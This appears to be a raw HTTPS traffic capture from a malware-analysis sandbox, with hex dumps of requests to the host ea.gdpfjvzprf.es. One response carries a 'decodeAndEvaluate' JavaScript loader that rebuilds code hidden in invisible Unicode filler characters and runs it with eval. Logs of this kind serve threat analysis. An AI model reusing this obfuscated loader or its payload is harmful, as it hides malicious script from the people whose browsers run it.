2b 5e b8 Data Ascii: -lE0b+(xbS&RdVCYV\7sX81H=eI&\fJa:P$W+<7uJ9lN;}*7Dh6X<{d@{C04XH)}T@IT3uF,).M^xN~x\=/w2!:fD_x[Np%C%+^
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 4f 78 58 89 b1 c4 0c e1 5d b5 49 e5 51 2a 48 9b c0 e8 a6 25 b9 05 ab 5e b1 cc e9 b5 05 00 be 89 33 a2 88 a1 ef ad f7 2b 65 ce 62 9b 09 89 62 ce cc 8e 62 9b 7e 09 fd ba 9f 54 dc 68 3b 09 0d 48 30 b4 aa f6 37 ec 1d b1 56 da 1c 80 5e 6b 61 1a 3d f7 6a 85 cb 7d 36 b4 33 47 16 4a 86 79 29 a7 b0 5d cd ca ec 3d 02 27 36 a9 9e 9c 91 a0 c8 7e d0 77 09 b5 6c 85 91 57 85 bd 0f 93 70 89 ba a1 2c 89 43 4c e9 1a c6 79 86 00 17 c2 d5 04 6d dc 34 d6 3d f3 a3 ed f9 e1 93 87 26 87 2a 6a d6 2e 84 e4 84 a0 1c 47 71 9c 6a 88 71 eb 87 be 57 98 bd a7 03 58 ba 74 ae dc ed 27 ae 86 3b 8b 11 4e c2 ad d0 7f 0e 40 70 00 c2 f9 c0 06 82 1b 3c 78 e0 c5 97 fd 66 69 01 42 20 c2 b0 11 01 04 06 1b 38 2c 04 20 a2 f0 42 22 48 0c 2e 68 60 58 a0 38 e0 78 70 84 f0 36 2b 92 20 c4 c9 59 31 eb 42 Data Ascii: OxX]IQH%^3+ebbb~Th;H07V^ka=j}63GJy)]='6~wlWp,CLym4=&j.GqjqWXt';N@p<xfiB 8, B"H.h`X8xp6+ Y1B
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 88 c2 aa 02 0a 87 0c 64 f0 d2 7f f9 b8 52 ec 49 ef c7 c8 c3 55 e1 e2 f0 84 40 41 40 b6 af ca eb a4 97 dc c3 e0 d6 e6 96 5d 84 c8 bd 51 7b da f6 50 1e bc bd c3 7a 7a e4 5e d3 7d 23 29 db aa 71 f1 db 56 6f 5d f0 b7 70 cb d1 68 01 cf d7 3c d7 47 61 79 5c 27 a1 a7 7b 4b 40 b8 be 47 46 8f d4 93 59 87 ec 0e f0 5d 9b ac 6c f2 eb fa d4 3c d6 d4 a5 ee 5a 09 a0 d8 d4 06 0f fd 8b 7e ad 49 60 dd df af 12 ad 1c 53 69 a6 ff b8 4b 8c fc f7 31 74 ed 67 cb 9c 3a 7f 4c 63 68 fe 21 c1 65 ec 8f 59 dc fa 1f fb e4 79 0a f2 6a 85 7c c8 0d 95 05 17 61 45 50 0c 27 48 8a 66 58 8e 17 c4 f8 73 b4 d8 c4 b2 9d 6e fd 1e 20 21 6c 2b 02 8a e1 04 49 d1 0c cb f1 82 58 ea 4a 19 45 ad 75 a8 8e 61 5a ed ce 75 70 bd 87 cd 21 62 af 76 84 9f 23 51 57 de 1e a5 db 58 86 72 f4 e5 de eb 31 90 cf b7 Data Ascii: dRIU@A@]Q{Pzz^}#)qVo]ph<Gay\'{K@GFY]l<Z~I`SiK1tg:Lch!eYyj\|aEP'HfXsn !l+IXJEuaZup!bv#QWXr1
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 6d 37 f8 d0 a7 21 d2 48 8d b7 93 b8 a5 b7 0a cf 99 56 74 50 56 a9 ba 0b 6a a8 ad ea 36 e9 4e 2f 3b ff c3 13 40 b6 a3 83 05 3a 07 23 42 02 23 28 86 13 24 45 33 2c c7 0b a2 24 9f af 8e 70 f3 a7 99 8f 22 98 f7 02 af 2f 46 50 0c 27 48 01 45 33 2c 27 7c ce 90 84 47 cd 09 4f e1 95 a2 52 d7 14 6a d1 d5 63 b0 b3 77 e8 84 b3 4b 04 50 7d a2 c1 60 71 78 02 91 44 a6 50 69 f4 65 f0 36 9a e2 e6 be 20 06 29 8c b0 96 cd f3 38 70 97 27 88 f1 11 08 45 62 89 54 26 57 28 55 6a cd 6a 05 3a 1d 7a c3 e5 98 da df 33 99 2d d6 b6 b6 76 1c 4e d7 e7 f7 a6 b7 db 9e 6f 0e ae de 97 ad d1 81 af b9 39 78 24 00 e8 22 c7 ef 92 72 02 b9 ec 11 7c 29 89 de c4 85 7f 6f b3 a9 2f 79 d1 0f 6e 5e 15 32 9d 87 87 5c 2b 14 94 60 2a 6a 9a cf d0 9a 90 f5 68 c8 f5 5f 0e 09 57 64 88 f8 f7 4c 10 00 dd 83 Data Ascii: m7!HVtPVj6N/;@:#B#($E3,$p"/FP'HE3,'\|GORjcwKP}`qxDPie6 )8p'EbT&W(Ujj:z3-vNo9x$"r\|)o/yn^2\+`*jh_WdL

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1351	OUT	GET /34kVI6yg6hoy72ifZuy9TAbmzTijsFhKvHa3D89102 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="34kVI6yg6hoy72ifZuy9TAbmzTijsFhKvHa3D89102" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vUYsoczatHX%2F%2FPRrqz79E5ZivsIIFqw6aYeBxgK0crZoEmGG3Mc7LFItjWWy2W3bwrgIesQYwyCV3qAiIyb29LGmLUV78GkLsHBEAn2%2FLWMtNPhGm8JbPTuxzYxpbZBDATI2"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=974&min_rtt=914&rtt_var=303&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2265&delivery_rate=4325133&cwnd=250&unsent_bytes=0&cid=fa687dfcb3542caf&ts=208&x=0" CF-RAY: 926a71ec8cd2da8d-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:32:02 UTC	480	IN	Data Raw: 33 37 39 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 65 63 6f 64 65 41 6e 64 45 76 61 6c 75 61 74 65 28 6b 65 79 29 20 7b 0d 0a 20 20 63 6f 6e 73 74 20 62 69 6e 61 72 79 53 74 72 69 6e 67 20 3d 20 5b 2e 2e 2e 6b 65 79 5d 0d 0a 20 20 20 20 2e 6d 61 70 28 63 68 61 72 20 3d 3e 20 4e 75 6d 62 65 72 28 27 ef be a0 27 20 3e 20 63 68 61 72 29 29 0d 0a 20 20 20 20 2e 6a 6f 69 6e 28 27 27 29 0d 0a 20 20 20 20 2e 72 65 70 6c 61 63 65 28 2f 2e 7b 38 7d 2f 67 2c 20 62 79 74 65 20 3d 3e 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 61 72 73 65 49 6e 74 28 62 79 74 65 2c 20 32 29 29 29 3b 0d 0a 20 20 0d 0a 20 20 28 30 2c 20 65 76 61 6c 29 28 62 69 6e 61 72 79 53 74 72 69 6e 67 29 3b 0d 0a 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 63 Data Ascii: 379efunction decodeAndEvaluate(key) { const binaryString = [...key] .map(char => Number('' > char)) .join('') .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2))); (0, eval)(binaryString); return true;}c
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef Data Ascii:
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1417	OUT	GET /uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:03 UTC	859	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:03 GMT Content-Type: image/webp Content-Length: 644 Connection: close Server: cloudflare Content-Disposition: inline; filename="uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JFsP8HKkINh%2BLqbfwOhvFJx9a85a3u8W6d%2F3ASIjht2DcF7Gn9GagtsGx7wOIeybY7NOYfsZr9WHetZPEIii0AgIlIOaJUc88Na2zCW2QNeAZXGm%2Bn%2FNdVuS7LZz7SXBwO35"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=32228&min_rtt=32176&rtt_var=9088&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2331&delivery_rate=125278&cwnd=253&unsent_bytes=0&cid=dd5f6838f70ce1a3&ts=224&x=0" CF-RAY: 926a71ec98589a1a-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:32:03 UTC	510	IN	Data Raw: 52 49 46 46 7c 02 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 17 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF\|WEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-26 23:32:03 UTC	134	IN	Data Raw: 7a f9 80 22 0d 59 88 88 50 7d 30 3b 07 50 45 b2 92 47 0b 12 68 00 c6 06 8c 39 88 40 0a 8d 60 03 93 32 ef 8b 00 11 fd 9f 00 f4 3d 99 54 e6 0a 91 0a f2 2d 33 b3 ea 6f 77 f7 2a 14 ec 11 26 94 c1 a0 da 05 00 56 50 38 20 3a 00 00 00 30 03 00 9d 01 2a 18 00 18 00 3e 6d 26 9b 4d a4 21 22 a2 94 00 80 0d 89 69 00 00 2e 4f ca 16 0d 28 00 00 fe fe 87 00 07 1d db 67 ff fe b0 c6 77 e4 ff ff 58 47 7f ea 9c 80 00 Data Ascii: z"YP}0;PEGh9@`2=T-3ow&VP8 :0>m&M!"i.O(gwXG